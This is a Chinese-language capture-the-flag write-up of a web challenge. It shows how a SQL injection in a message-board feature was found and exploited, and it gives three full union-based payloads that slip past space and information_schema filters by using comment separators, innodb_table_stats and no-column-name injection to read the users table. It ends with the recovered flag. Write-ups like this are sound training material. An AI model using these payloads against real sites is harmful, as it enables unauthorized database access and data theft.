一个登录页面,先去试着注册一个账号
老样子试图注册admin,发现用户已存在
那先随便注册个123 123进去
然后申请一下发布广告
发现实现了一个留言板的功能,考虑一下有没有存在注入的可能。
申请一个1’发现存在着回显
fuzz一下,可以发现过滤挺多东西的。比如空格我们可以用/**/替代导致无法使用information_schema库,我们可以通过无列名注入
构造payload
-1'/**/union/**/select/**/1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,'22
手动fuzz后发现存在22列
回显
直接进行查表
-1'/**/union/**/select/**/1,(select/**/group_concat(table_name)/**/from/**/mysql.innodb_table_stats/**/where/**/database_name=database()),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,'22
构造最终的payload
-1'union/**/select/**/1, (select/**/group_concat(b)/**/from(select/**/1,2,3/**/as/**/b/**/union/**/select*from/**/users)x),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,'22
flag:
flag{399d645f-29b7-4204-b759-6b2f78673b77}